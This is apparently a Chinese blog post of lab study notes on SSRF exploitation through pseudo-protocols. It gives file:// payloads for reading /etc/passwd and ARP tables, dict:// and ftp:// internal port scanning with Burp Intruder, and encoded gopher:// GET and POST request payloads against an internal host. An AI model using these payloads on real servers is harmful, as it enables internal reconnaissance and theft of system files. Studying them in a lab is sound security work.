SSRF漏洞伪协议学习

在有SSRF漏洞的服务器或主机提供的网页中使用一些伪协议来获取内网信息。这里可能需要ssrf漏洞靶场来做实验。

一、file://

从文件系统中获取文件内容,格式为file://[文件路径]

file:///etc/passwd            读取文件passwd

file:///etc/hosts                显示当前操作系统网卡的IP

file:///proc/net/arp           显示arp缓存表(寻找内网其他主机)
file:///proc/net/fib _trie     显示当前网段路由信息

file:///proc/net/arp           显示arp缓存表(寻找内网其他主机) 

 我们可以配合Burp Suite的intruder模块轮询访问内网主机获取arp缓存判断有那些主机存活。

结果图中第4列全为0的就代表主机不存在或未开启。

二、dict://、ftp://

ftp://可用于网络端口扫描,效率相对较低

使用ftp://同样利用burpsuite对内网依次扫描

ftp扫描时间长,tcp连接成功但是请求内容识别不到仍不会回复。

dict://字典服务协议,访问字典资源,如dict://ip:6739/info。可用于:扫描端口、获取内网信息、爆破密码等。

dict:// +ip:端口+/TCP/IP数据

如扫描有那些主机开了80端口:dict://172.251.250.1:80,将IP地址最后一段设为payload变量依次扫描,根据Length判断是否返回数据,从而判断端口是否打开 ,利用不同的Payload同时扫描多个IP的多个端口。

三、http://

作用:常规URL形式,允许通过HTTP 1.0的GET方法,以只读访问文件或资源。

http://example.com
http://example.com/file.php?var1 =val1 &var2=val2
http://user:password@example.com
https://example.com
https://example.com/file.php?var1 =val1 &var2=val2
https://user:password@example.com

查找内网存活主机IP        file://
查找内网主机开放端口    dict://、ftp://
目录扫描                          http://

如内网htttp://172.250.250.4,通过目录扫描获取网站子页面,使用burp打开代理拦截页面发送至intruder,子页面为http://172.250.250.4/文件名+后缀,为文件名和后缀添加payload变量。

 

 

根据数据包大小判断是否有内容页面。可以增加扫描选项如php、zip、txt等。

四、gopher://

利用范围较广:GET提交、POST提交、redis、fastcgi、sql

基本格式:

gopher://<目标IP>:<端口>/<gopher-path>

 gopher协议默认端口为 70,web也需要加端口。

注意gopher请求不转发第一个字符,要使用下划线(或自己定义个符号)填充首位。

GET提交

需要保留头部信息:

1、路径:GET   /name.php?name=123   HTTP/1.1

2、目标地址:Host:172.250.250.4

gopher://172.250.250.4:80/_GET%20/name.php%3fname=123%20HTTP/1.1%0d%0AHost:%20172.250.250.4%0d%0A

注意添加端口号80和填充位
URL编码
空格        %20
问号        %3f
换行符        %0d%0A
1、问号(?)需要转码为URL编码,也就是%3f
2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
3、在HTTP包的最后要加%0d%0a(换行符),代表消息结束(具体可研究HTTP包结束)
4、URL编码改为大写,冒号注意英文冒号
5、如果使用BP发包需要进行两次url编码
6、GET提交最后需要增加一个换行符

POST提交

需要保留头部信息

1、POST

2、Host:

3、Content-Type:

4、Content-Length:

 使用工具将下面保留的内容进行两次URL编码,在bp或hackbar中post提交要两次URL编码,在浏览器栏中提交只进行一次URL编码。

POST /name.php HTTP/1.1
Host:172.250.250.4
Content-Type:application/x-www-form-urlencoded
Content-Length:8

name=123

注意: 

1、POST后面是要提交的文件名

2、Host为目标主机

3、类型要和提交的类型一致

4、长度为下面提交内容的具体长度

5、中间的空行不能少

gopher格式不变 

 gopher://172.250.250.4:80/_编码后的内容粘贴至此
  • 18
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值